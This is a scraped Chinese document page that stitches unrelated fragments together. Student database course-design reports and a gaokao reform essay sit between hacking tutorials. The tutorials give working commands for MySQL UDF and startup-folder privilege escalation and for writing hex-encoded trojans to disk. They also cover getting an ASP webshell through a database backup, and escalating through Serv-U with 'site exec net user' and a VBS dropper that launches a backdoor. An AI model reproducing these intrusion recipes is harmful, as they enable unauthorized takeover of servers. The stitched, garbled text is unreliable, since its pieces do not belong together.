mysql提权总结方法四则 一 UDF提权 这类提权方法我想大家已经知道了，我大致写一下，具体语句如下： 1 create function cmdshell returns string soname 'udf.dll' 2 select cmdshell('net user iis_user 123!@#abcABC /add'); 3 select cmdshell('net localgroup administrators iis_user /add'); 4 select cmdshell('regedit /s d:\web\3389.reg'); 5 drop function cmdshell; 6 select cmdshell('netstat -an'); 二 VBS启动项提权 1 create table a (cmd text); 2 insert into a values ("set wshshell=createobject (""wscript.shell"") " ); 3 insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " ); 4 insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " ); 5 select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动 \\a.vbs"; 先在webshell里连接上数据库,建立表，将VBS写入表里，然后导入启动项， 如果UDF提权不行的话也可以尝试下这个方法，前提是要有ROOT权限，后面有个,0表示不弹出CMD窗口，安静的运行。 还可以这样写: 1 create table a (cmd BLOB); 2 insert into a values （CONVERT(木马的 16进制代码,CHAR)); 3 select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe' 4 drop table a; 执行前3条语句，就可以将木马写进启动里了，前提是木马一定要是16进制，还有就是路径要是\\，因为windows会自动过滤掉一个\ 数据库系统原理及其应用教程 课程设计报告 设计题目选修课程管理系统的设计与实现 指导教师 摘要 随着计算机技术的日新月异，极大的推动的各个行业的信息化进程。各大高校也急需进行信息化改革，以促进教学质量和工作效率快速提升。 本文是在对各大高校全校公开课学生选课情况进行实地调查后，进行详细分析讨论后撰写的学生选课管理系统数据库设计报告。全文从最初的系统规划，到需求分析、概念设计、逻辑设计、物理设计。每一阶段都进行了详细的分析。接下来的实现、运行与维护阶段，还 进行了对本系统的测试，最后是本次项目开发的心得和体会以及本文的参考文献。 本系统主要功能是对学生选课及相关信息进行管理。较行业同类产品而言，本系统人机界面设计更加合理、人性化，用户操作简单方便。数据库的安全性更高，对用户访问权限进行了严格控制。数据存取速度更快，使用年限更长。可以很好的满足高校公开课学生选课的要求，极大的提高了学校的工作效率。 关键字：学生选课管理系统；分析；设计 目录 一、概述 (4) 1.1 设计背景 (34) 1.2 设计目的 (36) 1.3 设计内容 (39) 二、需求分析 (19) 2.1 功能分析 (7) 2.2 工作流图 (6) 2.3 数据流图 (7) 2.4 数据字典 (16) 三、概念模型设计 (18) 3.1 实体之间的联系 (18) 3.2 E-R图 (19) 四、逻辑设计 (26) 4.1 概念模型向关系模型的转换 (26) 4.2 概念模型的优化 (27) 五、源代码及查询截图 (29) 5.1 数据库的存储结构 (29) 5.2 实现 (32) 5.3 人机界面设计 (34) 5.4 系统测试 (36) 5.5 运行维护 (39) 六、总结 (40) 参考文献 (41) 一、概述 1.1设计背景 可行性研究的目的是用最小的代价在尽可能的短的时间内确定数据库系统是否可能开发、是否值得开发、是否可以开发（在该报告中主要是考查《学生选课管理系统》是否可能开发、是否值得开发、是否可以开发）。其实质是在较高层次上以较抽象方式进行的、简化的压缩的需求分析和概要设计过程。 获得网站WEBSHELL权限 一、学习目标：在得到了管理员帐号的情况下，进入网站的管理员后台，以备份数据库得到WEBSEHLL。 二、知识要点：在入侵网站之前，信息搜集是第一步，任何情况的搜集，当情况搜集有初步成果之后，应该首先试图获得管理员的帐号和密码，然后找出网站的后台（看管理员在后台的什么地方），对于现成的整站系统而言，通常后台是固定的，只要搞到网站就能以管理员的帐号进入。进了后台，就有了能力对网站进行操作，我们就有了很大的把握获得的一个WEBSEHLL。所谓WEBSEHLL，也就是一个脚本，这个脚本，具有可以管理WEB、修改主页内容的权限，如果要修改别人的主页，一般都需要这个权限（上传漏洞要得到的也是这个权限）。它可对网站的任何文件进行编辑，移动，复制，删除。如果某个服务器权限设置得不好，那么通过webshell可以得到该服务器的最高权限----即可以得到的是整个网站的操作权限，并且是进一步渗透获得主机权限的立脚点。 在进入管理后台后，获得WEBSHELL的首选方法是通过"备份数据库"的方法上传一个扩展名改成GIF的ASP木马，(之所以要把ASP的木马护展名由ASP改为GIF，是因为一般网站都有检测护展名，当检测到护展名为ASP时就不会允许上传)，上传之后，用备份数据库的办法，把GIF护展名，备份成为ASP护展名，然后连接备份后的ASP地址，就能打开你上传的ASP木马，一个WEBSEHLL就到手了。具体方法为在备份数据库地址里输入你上传的GIF文件的相对地址，在恢复地址里输入你要生成的ASP地文件的路径和文件名，然后恢复数据库即可。 三、实验步骤 1、IE浏览器中输入https://www.doczj.com/doc/0218522003.html,/bbsxp1（之前已经通过某方法得到网站后台管理员的用户名、口令）。 （1）以管理员身份登录网站前台，如图1。 图1 （2）在图2界面中进入ACCESS数据库管理，并在图3界面中输入后台管理员密码完成登录。 课程设计（论文）题目：学生选修课管理系统设计 学生姓名：江元 学号：201153100121 班级: 信息与计算科学11-01班 所在院部: 数学与计算科学学院 指导教师：龚红仿 2013 年1 月 学生选修课管理系统设计 学生姓名：江元 学号：201153100121 班级：信计11-01班 指导教师：龚红仿 完成日期: 2013年1月11日 学生选修课管理系统设计 摘要 C语言课程设计和现代计算机技术的实际应用相结合，是我们在本阶段学完理论课程之后对自己该方面的能力的一次很好的检验，从开始的算法思路到运行调试后的美观的图形界面以及另人兴奋的可用程序，都是一个很好的学习和锻炼的过程。使我们巩固了原有的理论知识，培养了我们灵活运用和组合集成所学过知识及技能来分析、解决实际问题的能力。使我们体会到自身知识和能力能在实际中的应用和发挥。不但可以激发创新意识，还可以开发创造能力、培养沟通能力。这次学生选修课系统管理设计时间虽然仅有一个星期，但确实使我受益非浅。通过学生选修课系统管理设计我丰富了计算机操作经验，更加深了对C语言的了解，熟悉了其环境，更增强了对Microsoft Visual C++ 6.0的使用技巧。 C语言是在国内外广泛使用的一种计算机语言。语言功能丰富、表达能力强、使用灵活方便、既具有高级语言的优点，又具有低级语言的许多特点，适合编写系统软件。同时，我觉得C语言应该是操作和理论相结合的课程，在不断地编写中去思考，两者是不可分割的。我们在编写一个较大的程序时应该把它分开成几个小程序来看，这样会容易得多。 关键词:学生选修课系统管理；C语言课程设计；计算机技术；模块化程序设计；信息录入；浏览信息；选课；查询 说到花了九牛二虎的力气获得了一个webshell， 当然还想继续获得整个服务器的admin权限，正如不想得到admin的不是好黑客～ 嘻嘻～～好跟我来，看看有什么可以利用的来提升权限 第一 如果服务器上有装了pcanywhere服务端，管理员为了管理方便 也给了我们方便，到系统盘的Documents and Settings/All Us ers/Application Data/Symantec/pcAnywhere/中下载*.cif本地 破解就使用pcanywhere连接就ok了 第二 有很多小黑问我这么把webshell的iis user权限提升 一般服务器的管理都是本机设计完毕然后上传到空间里， 那么就会用到ftp，服务器使用最多的就是servu 那么我们就利用servu来提升权限 通过servu提升权限需要servu安装目录可写～ 好开始把，首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载下来，然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖，启动servu添加了一个用户，设置为系统管理员，目录C:\，具有可执行权限 然后去servu安装目录里把ServUDaemon.ini更换服务器上的。 用我新建的用户和密码连接～ 好的，还是连上了 ftp ftp>open ip Connected to ip. 220 Serv-U FTP Server v5.0.0.4 for WinSock ready... User (ip:(none)): id //刚才添加的用户 331 User name okay, please send complete E-mail address as password. Password:password //密码 230 User logged in, proceed. ftp> cd winnt //进入win2k的winnt目录 250 Directory changed to /WINNT ftp>cd system32 //进入system32目录 250 Directory changed to /WINNT/system32 ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe 文件加用户。 如果提示没有权限，那我们就 把后门（server.exe）传他system32目录 然后写一个VBs教本 set wshshell=createobject ("wscript.shell") a=wshshell.run ("cmd.exe /c net user user pass /add",0) b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0) b=wshshell.run ("cmd.exe /c server.exe",0) 关于新高考方案下普通高中 教育教学改革的思考 2016年自治区人民政府、自治区教育厅发布了《广西关于深化考试招生制度改革的实施方案》和《广西普通高中学业水平考试实施办法》，两个文件确立了我区新的高校考试制度基本框架，。如何抓住这一改革发展的契机，认真总结经验，突出问题导向，进而形成深化普通高中课程改革的新思路和新举措，是当前每位校长、学校管理层和教师必须认真思考和回答的问题。 一、新高考制度下普通高中课程建设的主要问题分析 普通高中课程改革以来，课程改革措施各具特点，但基本处在学校课程的顶层设计实施阶段，新高考方案下普通高中教育教学改革的将高中课改深层次的问题进一步凸显出来；同时，也为高中学校的个性化、多样化发展提供了良好的契机。 在新高考制度下，普通高中课程建设应主要围绕以下六大问题展开： 一是对学校课程改革价值功能的重新审视。真正实现从分数唯一到以学生发展为本的转变，意味着对考试文化的根本性突破。 二是在行政班基础上，推进必修课程全面而实质性的走班制。 三是新高考方案赋予学生前所未有的考试选择权，要求学生必须学会选择、规划人生；同时对教学实施和学生管理也提出了新的更高的要求。 四是考试内容和考试重点的转变，要求学科课程不仅要关注学生的基础知识和基本技能，还要关注社会实际和学生的生活经验，关注学生的创新精神和实践能力。课程结构的重组将带来教师专业结构和数量的变化。 五是新高考方案中把高中学业水平考试成绩作为高校录取新学生的依据和把学生综合素质评价作为高校录取新生的重要参考，分数不再是唯一的招生录 取依据，考试的区分度降低，如何实施真实有效公正的学生综合素质评价，成为学校必须研究的重要议题。 六是在进一步加大学校自主排课权的情况下，不同层次、不同类型的学校如何建构符合本校实际的课程推进模式和方式，从而进一步形成个性化的办学特色。 另外，学校教学的具体安排也面临诸多新问题。如有些学校没有看到新高考方案的实施是一个系统工程，所以将其窄化为排课表等教务工作，在一些具体问题上产生纠结；学校为应对学生选定的高考科目，在课程设计上出现偏科，在教学上甚至重新回到唯分数论的老路上，实施新的教育教学模式，我校也面临办学条件严重不足的问题出现等。 以上问题都是我校改革前进中的问题，分析和把握这些问题的目的在于围绕主题、聚焦问题、交流研讨、才会取得共识。 二、应统筹设计与实施课程体系的思路和对策 学校课程体系的统筹设计与实施是推进新高考方案落到实处的关键，当务之急是围绕主题，聚焦问题，研究可行的解决方案。以下五方面的问题是我们当前必须思考和认真解决的。 1. 把握新高考方案实施的指导思想及基本原则 实施新高考方案，实现学校课程统筹，实质在于形成促进学生全面而有个性发展的思路和举措。在这方面，我们必须遵循以下原则：(1)立足学生发展，站在学生的立场思考问题，尊重受教育者的人格。(2)坚持现代课程观，正确处理课程综合整体设计与考试招生制度改革重点突破的关系、学生夯实基础与发展个性特长的关系。(3)体现高中阶段教育的基础性、选择性、时代性特征，立足现实，面向未来，形成新思路、新举措。 学生选课管理系统 【摘要】 信息化的时代，把我们的生活装进计算机，装进数据库系统，让我们的生活井井有条。无论是生活、工作还是学习，我们都需要一个完善的系统帮助我们更好的记录。当然师生量庞大的学校对于数据库系统的需求更是迫切，所以本次课程设计就选择了学生选课管理系统。为了做出方便快捷的系统，我进行了需求分析，逻辑设计，物理设计，然后选用SQL Server 2005建立学生选课数据库，再用Visual Studio 2008设计了前台页面，就开发出了一个学生可以选课，教师可以录入并查询学生成绩，管理员可以管理学生信息、教师信息、课程信息等一列功能的学生选课系统。这个系统符合正常逻辑，操作简单，管理方便。 【abstract 】 The information age, our life into the computer, put into the database system, let our life be arranged in good order. No matter in life, work and learning, we all need a perfect system to school for the on the choice of the student elective system. In order to make the system convenient, I conducted a needs analysis, logical design, physical design, and then choose SQL Server 2005The establishment of student course database, use Visual Studio 2008 to design the front page, it developed an elective students, teachers can record and query student achievement, the administrator can manage student information, teacher information, course information, the one one column function students select the lesson system. Normal logic, this system with simple operation, convenient management.1433提权全教程
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